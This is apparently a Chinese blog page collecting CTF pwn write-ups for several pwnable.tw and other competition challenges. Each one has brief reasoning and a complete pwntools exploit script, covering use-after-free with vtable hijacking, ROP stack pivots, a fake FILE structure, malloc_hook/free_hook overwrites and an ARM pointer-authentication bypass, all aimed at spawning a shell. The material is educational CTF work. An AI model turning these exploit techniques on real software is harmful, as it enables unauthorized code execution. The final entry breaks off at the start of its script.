分类 writeups 下的文章

分析

这题乍一看感觉到处都是洞...而且非常纷乱,难以理清思路。但是这题最关键的洞在于实现部分GHOST子类的时候缺少拷贝构造函数。于是应该重点检查成员变量在vector::push_back()触发浅拷贝时的安全性。如吸血鬼Vampire类中char *blood在浅拷贝析构时会发生delete[] blood;。也就是说当一个Vampire实例放入vector中时,它的blood指针就指向了一块释放过的区域,这是本题最关键的利用点。

思路

  1. 知道Vampire存在UAF后应该想如何利用。这里发现如果UAF的堆块大于fast chunk得话,其被释放后立刻会合并到top chunk无法利用,不能直接泄露libc地址;

  2. 于是绕道。我们发现部分类在内存中分配的大小是相等的,如werewolfVampire都是0x70,在fast chunk范围内。也就是说,我们可以创建一个werewolf重新申请回被释放掉的堆块。由于类结构体重要性非常高...于是通过该方法控制类结构体是很可行的;

  3. 完成2中的重申请后,此时应该可以泄露出werewolfvtable从而计算二进制文件的基址;

  4. 此时,释放掉最开始的Vampire。这个释放对于Vampire来说是deep free而对于werewolf来说是shadow free。下面需要用到一个大小同样是0x70且各方面比较“正常”不容易破坏堆结构的类——Mummy。通过调试分析发现,如果在创建Mummy实例时msg大小为0x5f就会覆盖werewolf的类结构。按照这里我们可以伪造werewolf的类结构——保持vtable不变(重要)的情况下修改name指针为保存了堆地址的位置。下次列出所有name的时候就完成了地址泄露;

  5. 按照4中的思路,泄露出__libc_start_main的got表值,计算出libc基址,以及one_gadget地址;

  6. 最后一步,伪造一个vtable。由调试发现vtable+0x10的位置是self.showinfo的函数指针。伪造该指针为one_gadget后替换werewolf的虚表,然后调用该指针完成getshell

其它

  1. 有一个类里面似乎读了flag相关的东西,但是解题没用上,可能这题是多解。或者说原先是个AD题。

EXP:

from pwn import *
import time

#p = process("./ghostparty")
p = remote("chall.pwnable.tw", 10401)
elf = ELF("./ghostparty")
#libc = ELF("./libc_64.so.6")
libc = ELF("./libc_64.so.6")
context.log_level = "debug"

'''
-----------------
 1.Werewolf      
 2.Devil         
 3.Zombie        
 4.Skull         
 5.Mummy         
 6.Dullahan      
 7.Vampire       
 8.Yuki-onna     
 9.Kasa-obake    
 10.Alan         
-----------------
'''

# const
TYPE_WEREWOLF = 0x1
TYPE_DEVIL = 0x2
TYPE_ZOMBIE = 0x3
TYPE_SKULL = 0x4
TYPE_MUMMY = 0x5
TYPE_DULLAHAN = 0x6
TYPE_VAMPIRE = 0x7
TYPE_YUKI = 0x8
TYPE_KASA = 0x9
TYPE_ALAN = 0xa

ACTION_JOIN = 0x1
ACTION_GIVEUP = 0x2
ACTION_JOINANDSHOW = 0x3

vector_ghostlist_offset = 0x211030
libc_start_main_got_offset = 0x210E90

one_list_local = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_list_remote = [0x45216, 0x4526a, 0xef6c4, 0xf0567]

def _add_ghost(name, age:int, msg, ghost_type:int):
    p.sendafter(b"Your choice :", b"1\n")
    p.sendafter(b"Name : ", name+b"\n")
    p.sendafter(b"Age : ", str(age).encode()+b"\n")
    p.sendafter(b"Message : ", msg+b"\n")
    p.recvuntil(b"Choose a type of ghost :")
    p.sendline(str(ghost_type).encode())

def _do_action(action):
    p.sendafter(b"Your choice : ", str(action).encode()+b"\n")

def get_name_list():
    p.sendafter(b"Your choice :", b"2\n")

'''
1.Join       
2.Give up
3.Join and hear what the ghost say
'''

def add_werewolf(name, age:int, msg, full_moon:int, action:int):
    '''name, age:int, msg, full_moon:int, action:int'''
    _add_ghost(name, age, msg, TYPE_WEREWOLF)
    p.sendafter(b"Full moon ? (1:yes/0:no):", str(full_moon).encode()+b"\n")
    _do_action(action)

def add_devil(name, age:int, msg, power, action:int):
    '''name, age:int, msg, power, action:int'''
    _add_ghost(name, age, msg, TYPE_DEVIL)
    p.sendafter(b"Add power : ", power+b"\n")
    _do_action(action)

def add_zombie(name, age:int, msg, action:int):
    '''name, age:int, msg, action:int'''
    _add_ghost(name, age, msg, TYPE_ZOMBIE)
    _do_action(action)

def add_skull(name, age:int, msg, bones:int, action:int):
    '''name, age:int, msg, bones:int, action:int'''
    _add_ghost(name, age, msg, TYPE_SKULL)
    p.sendafter(b"How many bones ? : ", str(bones).encode()+b"\n")
    _do_action(action)

def add_mummy(name, age:int, msg, commit, action:int):
    '''name, age:int, msg, commit, action:int'''
    _add_ghost(name, age, msg, TYPE_MUMMY)
    p.sendafter(b"Commit on bandage : ", commit+b"\n")
    _do_action(action)

def add_dullahan(name, age:int, msg, weapon, action:int):
    '''name, age:int, msg, weapon, action:int'''
    _add_ghost(name, age, msg, TYPE_DULLAHAN)
    p.sendafter(b"Give a weapon : ", weapon+b"\n")
    _do_action(action)

def add_vampire(name, age:int, msg, blood, action:int):
    '''name, age:int, msg, blood, action:int'''
    _add_ghost(name, age, msg, TYPE_VAMPIRE)
    p.sendafter(b"Add blood :", blood+b"\n")
    _do_action(action)

def add_yuki(name, age:int, msg, cold, action:int):
    '''name, age:int, msg, cold, action:int'''
    _add_ghost(name, age, msg, TYPE_YUKI)
    p.sendafter(b"Cold :", cold+b"\n")
    _do_action(action)

def add_kasa(name, age:int, msg, foot:int, eyes, echo, action:int):
    '''name, age:int, msg, foot:int, eyes, echo, action:int'''
    _add_ghost(name, age, msg, TYPE_KASA)
    p.sendafter(b"foot number :", str(foot).encode()+b"\n")
    p.sendafter(b"Eyes : ", eyes+b"\n")
    p.sendafter(b"Input to echo :", echo)
    _do_action(action)

def add_alan(name, age:int, msg, lightsaber, action:int):
    '''name, age:int, msg, lightsaber, action:int'''
    _add_ghost(name, age, msg, TYPE_ALAN)
    p.sendafter(b"Your lightsaber : ", lightsaber+b"\n")
    _do_action(action)

def show_ghost(idx:int):
    p.sendafter(b"Your choice :", b"2\n")
    p.sendafter(b"which you want to show in the party : ", str(idx).encode()+b"\n")

def night():
    p.sendafter(b"Your choice :", b"3\n")

def rmghost(idx:int):
    p.sendafter(b"Your choice :", b"4\n")
    p.sendafter(b"which you want to remove from the party : ", str(idx).encode()+b"\n")

def end_party():
    p.sendafter(b"Your choice :", b"5\n")

def get_fake_werewolf_obj(vtable, ptr_to_leak):
    return (p64(vtable) + p64(0) + p64(ptr_to_leak)).ljust(0x5f, b"\x00")

def exp():
    # leak vtable && image_base
    add_vampire(name=b"AAAA", age=1, msg=b"aaaa", blood=b"a"*0x5f, action=ACTION_JOINANDSHOW) #0
    add_werewolf(name=b"BBBB", age=1, msg=b"bbb", full_moon=1, action=ACTION_JOINANDSHOW) #1
    show_ghost(0)
    p.recvuntil(b"Blood : ")
    vtable_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) # werewolf's vtable
    werewolf_vtable = vtable_leak
    image_base = vtable_leak - 0x210b98
    print("[*] vtable_leak:", hex(vtable_leak))
    print("[*] image_base:", hex(image_base))

    # leak heap
    ## deep free obj_0 && shallow free obj_1
    rmghost(0)
    vector_ghostlist = image_base + vector_ghostlist_offset
    fake_werewolf_obj = get_fake_werewolf_obj(werewolf_vtable, vector_ghostlist)
    add_mummy(name=b"CCCC", age=1, msg=fake_werewolf_obj, commit=b"leak", action=ACTION_JOINANDSHOW) #1
    show_ghost(0) # leak what name_ptr point to
    p.recvuntil(b"Name : ")
    heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x12d40
    print("[*] heap_leak:", hex(heap_leak))
    print("[*] heap_base:", hex(heap_base))

    # leak libc
    ## deep free obj_1 && shallow free obj_0
    rmghost(1)
    libc_start_main_got = image_base + libc_start_main_got_offset
    fake_werewolf_obj = get_fake_werewolf_obj(werewolf_vtable, libc_start_main_got)
    add_mummy(name=b"DDDD", age=1, msg=fake_werewolf_obj, commit=b"leak", action=ACTION_JOINANDSHOW) #1
    get_name_list()
    p.recvuntil(b": ")
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - libc.symbols[b"__libc_start_main"]
    print("[*] libc_leak:", hex(libc_leak))
    print("[*] libc_base:", hex(libc_base))
    p.sendline(b"1")

    # attack vtable
    rmghost(1)
    fake_vtable_addr = heap_base + 0x12e40 + 0x8
    one_gadget = libc_base + one_list_remote[2]
    fake_vtable = p64(0)*2 + p64(one_gadget) # vtable+0x10 -> self.showinfo()
    fake_werewolf_obj = (p64(fake_vtable_addr) + fake_vtable).ljust(0x5f, b"\x00")
    add_mummy(name=b"EEEE", age=1, msg=fake_werewolf_obj, commit=b"shell", action=ACTION_JOINANDSHOW) #0/1

    # getshell
    p.sendline(b"2")
    p.sendline(b"0") # call self.showinfo() -> one_gadget to get shell

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

分析

这题和pwnable.kr原题的差别在于程序本身没有了syscall这个gadget,需要另找别处。题目给了read和栈溢出,栈迁移是少不了的。考虑到GOT表可写,并且关于read的库实现有个可以利用的gadget:在read库函数起始位置+0xe的时候有一个syscall,并且只要返回值正常,后面会接上ret (重点!)。

思路

  1. 由分析可知,这题的关键在于控制read库函数+0xe处的gadget进行地址泄露。这个偏移只需要往read的got表地址写一个字节,同时写完这个字节后RAX的值刚好变成1,也就是SYS_write的系统调用号。当下一次再调用read时就会变成write;

  2. 得到write之后需要泄露__libc_start_main的got表值来计算libc基址。注意最好一个一个字节泄露,一次泄露多个字节会导致RAX过大,后续不方便控制。每次write一个字节可以保证RAX始终为1

  3. 完成泄露后还需要切换回SYS_read把算出来的system地址写入read_got中,最后传入提前写好的/bin/sh参数地址来getshell。这一步只需要write(1, addr, 0)输出0个字节,RAX的值就会变回0,也就是SYS_read的系统调用号;

  4. 环境很坑,每次输入前尝试把sleep时间调长一点,否则会出现read不进去的情况。

EXP

from pwn import *
import time

#p = process("./unexploitable", env={"LD_PRELOAD":"./libc_64.so.6"})
p = remote("chall.pwnable.tw", 10403)
elf = ELF("./unexploitable")
libc = ELF("./libc_64.so.6")

context.log_level = "debug"

# const
offset_byte = b"\x0e" # read offset to syscall

# addr
bss_addr = 0x601028
main_addr = 0x400544
read_plt = elf.symbols[b"read"]
read_got = elf.got[b"read"]
sleep_got = elf.got[b"sleep"]
libc_start_main = elf.got[b"__libc_start_main"]

# gadget
csu_gadget_1 = 0x4005e6
csu_gadget_2 = 0x4005d0
pop_rbp_ret = 0x400512
leave_ret = 0x400576

def csu_rop(rbx:int, rbp:int, call:int, rdi:int, rsi:int, rdx:int):
    rop = p64(csu_gadget_1)
    rop += p64(0) #padding
    rop += p64(rbx) #rbx
    rop += p64(rbp) #rbp
    rop += p64(call) #r12->call addr
    rop += p64(rdi) #r13->edi
    rop += p64(rsi) #r14->rsi
    rop += p64(rdx) #r15->rdx
    rop += p64(csu_gadget_2)
    rop += b"\x00"*0x38 #pad
    return rop

def exp():
    #gdb.attach(p, "b *0x400576\nc\n")
    #gdb.attach(p, "b system\nc\n")

    # migrate stack to bss && call read
    target_stack_1 = bss_addr + (0x100-0x8) # also write /bin/sh
    payload1 = b"a"*0x10 + p64(0xdeadbeef)
    payload1 += p64(csu_gadget_1)
    payload1 += p64(0) #padding
    payload1 += p64(0) #rbx
    payload1 += p64(1) #rbp
    payload1 += p64(read_got) #r12->call addr
    payload1 += p64(0) #r13->edi
    payload1 += p64(target_stack_1) #r14->rsi
    payload1 += p64(0x600) #r15->rdx
    payload1 += p64(csu_gadget_2)
    payload1 += b"\x00"*0x38 #pad
    payload1 += p64(pop_rbp_ret) #set rbp
    payload1 += p64(target_stack_1+0x8)
    payload1 += p64(leave_ret) # migrate
    print("len(payload1):", hex(len(payload1)))
    p.sendline(payload1)

    #pause()
    time.sleep(7)
    # read payload to target_stack_1
    payload2 = b"/bin/sh\x00"
    payload2 += p64(0xdeadbeef) #new rbp
    payload2 += csu_rop(0, 1, read_got, 0, read_got, 1) # modify LSB of read_got
    for i in range(6):
        payload2 += csu_rop(0, 1, read_got, 1, libc_start_main+i, 1) # leak sleep_got
    payload2 += csu_rop(0, 1, read_got, 1, libc_start_main, 0) # make RAX=0
    payload2 += csu_rop(0, 1, read_got, 0, read_got, 0x8) # make read_got -> system
    payload2 += csu_rop(0, 1, read_got, target_stack_1, 0, 0) # system("/bin/sh")
    payload2 += p64(main_addr)
    print("len(payload2):", hex(len(payload2)))
    p.sendline(payload2)

    #pause()
    time.sleep(7)
    p.send(b"\x7e")
    time.sleep(4)
    sleep_addr = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = sleep_addr - libc.symbols[b"__libc_start_main"]
    system = libc_base + libc.symbols[b"system"]
    print("sleep_addr:", hex(sleep_addr))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))

    #pause()
    time.sleep(7)
    p.send(p64(system))

    p.sendline("cat /home/*/flag")
    p.recvall()

if __name__ == "__main__":
    exp()

分析

题目只给了一个gets栈溢出,got开了全保护不能修改。按照题意对付aslr的话,爆破几率太渺茫了。应该要结合call reg以及栈残留指针来构造rop。

思路

  1. _libc_csu_init里面有这么一条gadget:call qword ptr [r12+rbx*8]。这意味着如果能够控制r12为一个libc地址,rbx为某个函数offset/8的话,就可以调用这个函数。

  2. 由于gets在调用时会在栈低地址留下_IO_2_1_stdin的地址,我们可以利用这个地址加上一定偏移去调用__IO_file_write来泄露地址。__IO_file_write函数与write函数的区别在于,第一个参数变成了一个文件结构体。为了成功利用,这个结构体中只需要保证fileno==1flag2==2就能成功调用(非常理想)。

  3. 为了利用栈残留信息,需要把栈迁移到bss这种地址固定并可控的段来操作。在此之前还要先向bss中不会受到调用栈影响的区域提前写好fake_file

  4. 迁移到bss上需要先执行一次gets让bss中残留下libc地址信息。然后再往远处迁移栈,避免利用时破坏残留在栈上的指针。迁移到远处后需要计算好残留指针的地址,往这个地址的上下填充其它值——因为gadget的限制,往往需要一次pop很多寄存器,而需要让残留指针放在r12寄存器里面就得把其它寄存器也构造好。其它寄存器涉及到传参以及分支跳转——注意让rbp=rbx+1防止跳转。

  5. 最终构造完在call reg之前应该保证:

    • RDIfake_file地址
    • RSI为gets的got表地址
    • RDX为输出长度
    • RBX为(__IO_file_write-残留指针)/8 (注意残留指针不一定是 _IO_2_1_stdin,因为gets在写的时候末位会有\x00截断覆盖掉_IO_2_1_stdin低位)
    • R12为残留指针
    • EBPrbx+1
  6. 泄露完地址走一次one_gadget就可以getshell了

EXP

from pwn import *

#p = process("./deaslr", env={"LD_PRELOAD":"./libc_64.so.6"})
p = remote("chall.pwnable.tw", 10402)
elf = ELF("./deaslr")
libc = ELF("./libc_64.so.6")
context.log_level = "debug"

# addr
main_addr = 0x400536
gets_plt = elf.symbols[b"gets"]
gets_got = elf.got[b"gets"]
bss_addr = 0x601010
data_addr = 0x601000

# gadget
pop_rbp_ret = 0x4004a0
leave_ret = 0x400554
ret = 0x4003f9
pop_rdi_ret = 0x4005c3
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4005ba
pop_r12_r13_r14_r15_ret = 0x4005bc
pop_rsp_r13_r14_r15_ret = 0x4005bd
call_r12_plus_rbx_mul_8 = 0x4005a9
set_args_and_call = call_r12_plus_rbx_mul_8 - 0x9
mveax0_leave_ret = 0x40054f

# struct
fake_file = b"\x00"*0x70+p64(1)+p64(2) # fileno flag
fake_file = fake_file.ljust(0xe0, b"\x00")

def exp():
    #gdb.attach(p, "b *0x40054f\nc\n")

    # write fake_file to bss
    fake_file_addr = bss_addr+0x100
    payload1 = b"a"*0x18 + p64(pop_rdi_ret) + p64(fake_file_addr) + p64(gets_plt) + p64(main_addr)
    p.sendline(payload1)

    p.sendline(fake_file)

    # Migrate stack to bss (to control stack_val)
    target_stack = bss_addr+0x200
    payload2 = b"a"*0x10 + p64(target_stack) + p64(pop_rdi_ret) + p64(target_stack) + p64(gets_plt)
    payload2 += p64(leave_ret)
    p.sendline(payload2)

    # write target_stack
    target_stack_2 = bss_addr + 0x400
    payload3 = p64(0xdeadbeef) #new rbp
    payload3 += p64(pop_rdi_ret) # get(target_stack_2)
    payload3 += p64(target_stack_2) #arg
    payload3 += p64(gets_plt)

    payload3 += p64(pop_rsp_r13_r14_r15_ret) # move to stack_2
    payload3 += p64(target_stack_2)
    p.sendline(payload3)

    # set target_stack_2
    payload4 = p64(0)*3
    payload4 += p64(pop_rdi_ret)
    payload4 += p64(target_stack-0x30-0x30)
    payload4 += p64(gets_plt) # set stack low
    payload4 += p64(pop_rdi_ret)
    payload4 += p64(target_stack-0x30+0x8)
    payload4 += p64(gets_plt) # set stack high
    payload4 += p64(pop_rsp_r13_r14_r15_ret)
    payload4 += p64(target_stack-0x30-0x30)
    p.sendline(payload4)

    ## low
    low = p64(0)*3 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
    low += p64(0xfffffffffffffdeb) #rbx
    low += p64(0xfffffffffffffdeb+1) #rbp
    p.sendline(low)
    ## high
    high = p64(0x100) #r13 -> rdx
    high += p64(gets_got) #r14 -> rsi
    high += p64(fake_file_addr) #r15 -> edi
    high += p64(set_args_and_call)
    high += b"a"*0x38
    high += p64(main_addr)
    p.sendline(high)

    # get leak addr
    puts_addr = u64(p.recv(8))
    libc_base = puts_addr - libc.symbols[b"gets"]
    system = libc_base + libc.symbols[b"system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    one = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
    one_gadget = libc_base + one[0]
    print("puts_addr:", hex(puts_addr))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("binsh:", hex(binsh))
    print("one_gadget:", hex(one_gadget))

    ## get shell
    #payload5 = b"a"*0x18 + p64(pop_rdi_ret) + p64(binsh) + p64(ret)*8 + p64(system) + p64(main_addr)
    payload5 = b"a"*0x18 + p64(one_gadget) # set eax=0

    p.sendline(payload5)

    p.interactive()

if __name__ == "__main__":
    exp()

一些怨言

题目本身非常容易,利用UAF构造出一条通向malloc_hookfastbin

然后利用好realloc会copy原有内容到新堆块的特性,提前布置好payload到堆上,绕过security_readmalloc_hook中写入one_gadget

建议这种受到堆偏移影响很大的题最好给出Dockfile,不然纯浪费时间,特傻逼!!

EXP:

from pwn import *

p = remote("chall.pwnable.tw", 10400)
#p = process("./breakout", env={"LD_PRELOAD":"./libc_64.so.6"})
elf = ELF("./breakout")
libc = ELF("./libc_64.so.6")

context.arch = "amd64"
context.log_level = "debug"

def list_all():
    p.sendafter(b"> ", b"list\n")

def set_note(cell:int, size:int, content):
    p.sendafter(b"> ", b"note\n")
    p.sendafter(b"Cell: ", str(cell).encode())
    p.sendafter(b"Size: ", str(size).encode())
    p.sendafter(b"Note: ", content)

def punish(cell:int):
    p.sendafter(b"> ", b"punish\n")
    p.sendafter(b"Cell: ", str(cell).encode())  

def exp():
    # leak libc
    set_note(6, 0x80, b"aaaa")
    set_note(7, 0x20, b"bbbb")
    set_note(6, 0x90, b"cccc")
    set_note(8, 0x80, b"a"*8)
    list_all()
    p.recvuntil(b"Life imprisonment, murder")
    p.recvuntil(b"aaaaaaaa")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x108 + 0xa0 - libc.symbols[b"__malloc_hook"]
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    fake_chunk = malloc_hook - 0x23
    one_list = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
    print("[*] libc_leak:", hex(libc_leak))
    print("[*] libc_base:", hex(libc_base))
    print("[*] malloc_hook:", hex(malloc_hook))
    print("[*] fake_chunk:", hex(fake_chunk))

    #gdb.attach(p)

    # leak heap
    remote_offset = 0x410 #remote-0x410  local-0x0
    punish(1)
    set_note(9, 0x48, p64(malloc_hook+0x68)*2)
    list_all()
    p.recvuntil(b"multiple homicides")
    p.recvuntil(b"Prisoner: ")
    heap_leak = u64((b""+p.recv(6)).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x2169a0 + remote_offset
    print("[*] heap_leak:", hex(heap_leak))
    print("[*] heap_base:", hex(heap_base))

    # realloc attach
    ## link to fake_chunk
    set_note(2, 0x68, b"aaaa") #target_chunk
    set_note(3, 0x20, b"split")
    set_note(2, 0x78, b"bbbb")
    target_chunk = heap_base + 0x2169a0 - remote_offset
    print("[*] target_chunk:", hex(target_chunk))
    payload = p64(heap_base)*3+p64(0x000000010000002d)+p64(heap_base)+p64(0x10)+p64(target_chunk+0x10)
    set_note(9, 0x48, payload)
    set_note(1, 0x10, p64(fake_chunk))

    ## get_fakechunk
    set_note(3, 0x68, b"cccc")
    one_gadget = libc_base + one_list[3]
    set_note(4, 0x30, b"a"*(0x13-0x8)+p64(one_gadget)+p64(libc_base+0x83b1b))
    set_note(5, 0x40, b"split")
    ## write malloc_hook
    set_note(4, 0x68, b"")
    print("[*] malloc_hook:", hex(malloc_hook))
    print("[*] one_gadget:", hex(one_gadget))

    # get shell
    p.sendafter(b"> ", b"note\n")
    p.sendafter(b"Cell: ", b"0")
    p.sendafter(b"Size: ", str(0x80).encode())

    p.interactive()

if __name__ == "__main__":
    exp()

babyheap

18.04 libc2.27堆题,delete有double free

白给题,触发malloc_consolidate就可以leak+overlapping

EXP:

from pwn import *

#p = process("./pwn")
p = remote("52.152.231.198", 8081)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
libc = ELF("./libc-2.27.so")
context.log_level = "debug"


def add(idx:int, size:int):
    p.recvuntil(b">> \n")
    p.sendline(b"1")
    p.recvuntil(b"input index\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"input size\n")
    p.sendline(str(size).encode())
    
def delete(idx:int):
    p.recvuntil(b">> \n")
    p.sendline(b"2")
    p.recvuntil(b"input index\n")
    p.sendline(str(idx).encode())
    
def edit(idx:int, content):
    p.recvuntil(b">> \n")
    p.sendline(b"3")
    p.recvuntil(b"input index\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"input content\n")
    p.send(content)
    
def show(idx:int):
    p.recvuntil(b">> \n")
    p.sendline(b"4")
    p.recvuntil(b"input index\n")
    p.sendline(str(idx).encode())
    
def leaveName(name):
    p.recvuntil(b">> \n")
    p.sendline(b"5")
    p.recvuntil(b"your name:\n")
    p.send(name)
    
def showName():
    p.recvuntil(b">> \n")
    p.sendline(b"6")

def exp():
    # leak libc
    for i in range(16):
        add(i, 0x20) #0-9
    for i in range(15):
        delete(i) # del 0-9
    leaveName(b"123123")
    show(7)
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x3ebe10
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("malloc_hook:", hex(malloc_hook))
    print("free_hook:", hex(free_hook))
    
    # overlapping && double free
    add(0, 0x50) #0
    edit(0, p64(0)*4+p64(0x61))
    delete(8)
    edit(0, p64(0)*4+p64(0x61)+p64(free_hook-0x8))
    
    # attack free_hook
    add(1, 0x50) #1
    add(1, 0x50) #1
    edit(1, p64(system))
    print("free_hook:", hex(free_hook))
    edit(0, p64(0)*4+p64(0x61)+b"/bin/sh\x00")
    delete(8)
    
    #gdb.attach(p)
    
    p.interactive()

if __name__ == "__main__":
    exp()

babypac

arm架构的题,有栈溢出机会

数据结构:

从0x412050开始的结构体数组

strcut aaa{
QWORD id;
QWORD lock;
};

分析:

  • add函数将id设为你的输入,lock设为0
  • lock函数将id设为sub_4009D8(id),lock设为1
  • show函数当lock为0时候打印id,lock为1的时候不打印
  • auth函数检查是否sub_4009d8(0x10A9FC70042)为id,是的话给栈溢出机会

这里有整数溢出,当idx由unsigned解释为int得时候为-2得时候,可控name就变为我们输入得,然后:

这里就可以绕过检测,来使得name为那个大整数从而溢出。溢出的话使用rop.可以mprotect改bss段,然后shellcode。使用通用gadget。或者自己构造。

思路:

  1. PACIA指令对跳转指针进行签名,签名结果被函数加密了,找shallow写了脚本解出签名后的指针
  2. 然后用csu gadget leak出puts的地址低三字节,拼接出完整地址
  3. ret回main同样的方法调用read往一个RW地址写入system_addr+b"/bin/sh\x00"
  4. ret回main同样的方法调用system(借助上一步写入的函数地址和参数)

EXP:

from pwnlib.util.iters import mbruteforce
import string
from hashlib import sha256
from pwn import *
import time

#p = process(argv=["qemu-aarch64","-cpu", "max", "-L", ".", "-g", "1234", "./chall"])
#p = process(argv=["qemu-aarch64","-cpu", "max", "-L", ".", "./chall"])
p = remote("52.255.184.147", 8080)
elf = ELF("./chall")
libc = ELF("./lib/libc.so.6")
context.log_level = "debug"
context.arch = "aarch64"

def add(_id:int):
    p.recvuntil(b">> ")
    p.sendline(b"1")
    p.recvuntil(b"identity: ")
    p.sendline(str(_id).encode())
    
def lock(idx):
    p.recvuntil(b">> ")
    p.sendline(b"2")
    p.recvuntil(b"idx: ")
    p.sendline(str(idx).encode())
    
def show():
    p.recvuntil(b">> ")
    p.sendline(b"3")

def auth(idx):
    p.recvuntil(b">> ")
    p.sendline(b"4")
    p.recvuntil(b"idx: ")
    p.sendline(str(idx).encode())
    
def unshiftleft(n , shift , mask = 0xffffffffffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift + 1
    for _ in range(temp):
        res = n ^ ((res << shift) & mask)
    return res
def unshiftright(n , shift , mask = 0xffffffffffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift + 1
    for _ in range(temp):
        res = n ^ ((res >> shift) & mask)
    return res
    
def unshift(c):
    c = unshiftright(c , 13)
    c = unshiftleft(c , 31)
    c = unshiftright(c , 11)
    c = unshiftleft(c , 7)
    return c
    
# global const
bss_name = 0x412030
bss_list = 0x412050

curr_ret_addr = 0x400da4
csu_gadget_1 = 0x400FF8
csu_gadget_2 = 0x400FD8
puts_got = 0x411FD0
read_got = 0x411FD8
main_addr = 0x400F5C

def exp():
                        
    # set name
    p.recvuntil(b"input your name: ")
    name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
    p.send(name) #0x3f000000400ff8

    lock(-2)
    add(0xdeadbeef) #0
    show()
    p.recvuntil(b"name: ")
    encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
    print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
    signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
    print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
    
    lock(-1)
    auth(-1)
    
    # stack overflow
    payload = b"a"*0x28
    payload += p64(signed_csu_gadget_1)
    payload += p64(csu_gadget_2)*2
    payload += p64(0) + p64(1)
    payload += p64(puts_got) + p64(puts_got)
    payload += p64(0) + p64(0)
    payload += p64(main_addr) + p64(main_addr)
    payload += p64(csu_gadget_2)
    p.sendline(payload)
    
    libc_leak = p.recvuntil(b"\n", drop=True)
    libc_leak = (libc_leak+b"\x00\x40").ljust(8, b"\x00")
    puts = u64(libc_leak)
    libc_base = puts - libc.symbols[b"puts"]
    system = libc_base + libc.symbols[b"system"]
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    mprotect = libc_base + libc.symbols[b"__mprotect"]
    print("puts:", hex(puts))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("binsh:", hex(binsh))
    print("mprotect:", hex(mprotect))

    # set name
    p.recvuntil(b"input your name: ")
    name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
    p.send(name) #0x3f000000400ff8
    
    lock(-2)
    add(0xdeadbeef) #0
    show()
    p.recvuntil(b"name: ")
    encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
    print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
    signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
    print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
    
    lock(-1)
    auth(-1)
    
    # stack overflow
    payload = b"a"*0x28
    payload += p64(signed_csu_gadget_1)
    payload += p64(csu_gadget_2)*2
    payload += p64(0) + p64(1)
    payload += p64(read_got) + p64(0)
    payload += p64(0x412060) + p64(100)
    payload += p64(main_addr) + p64(main_addr)
    payload += p64(csu_gadget_2)
    p.sendline(payload)
    
    p.sendline(p64(system)+b"/bin/sh\x00")
    
    # set name
    p.recvuntil(b"input your name: ")
    name = p64(csu_gadget_1) + p64(0) + p64(0x10A9FC70042) + p64(0)
    p.send(name) #0x3f000000400ff8
    
    lock(-2)
    add(0xdeadbeef) #0
    show()
    p.recvuntil(b"name: ")
    encode_csu_gadget_1 = u64(p.recvuntil(b"\x01\n", drop=True))
    print("encode_csu_gadget_1:", hex(encode_csu_gadget_1))
    signed_csu_gadget_1 = unshift(encode_csu_gadget_1)
    print("signed_csu_gadget_1:", hex(signed_csu_gadget_1))
    
    lock(-1)
    auth(-1)
    
    # stack overflow
    payload = b"a"*0x28
    payload += p64(signed_csu_gadget_1)
    payload += p64(csu_gadget_2)*2
    payload += p64(0) + p64(1)
    payload += p64(0x412060) + p64(0x412060+0x8)
    payload += p64(0) + p64(0)
    payload += p64(main_addr) + p64(main_addr)
    payload += p64(csu_gadget_2)
    p.sendline(payload)
    
    p.interactive()

def proof_of_work(p):
    p.recvuntil("xxxx+")
    suffix = p.recv(16).decode("utf8")
    p.recvuntil("== ")
    cipher = p.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
                        cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    p.sendlineafter("Give me xxxx:", proof)


if __name__ == "__main__":
    proof_of_work(p)
    exp()

Favourite Architecure flag1

RISCV PWN,憋shellcode

  1. 远程栈固定,本地写完后稍加修改就打通了远程
  2. 栈溢出后用主函数末尾的gadget跳到自定义的一个栈位置上开始执行编辑好的orw shellcode
  3. RISCV的shellcode编写可以借助Ghidra右键patch功能(会显示16进制代码)

EXP:

from pwn import *

#p = process(argv=["./qemu-riscv64", "-g", "1234", "./main"])
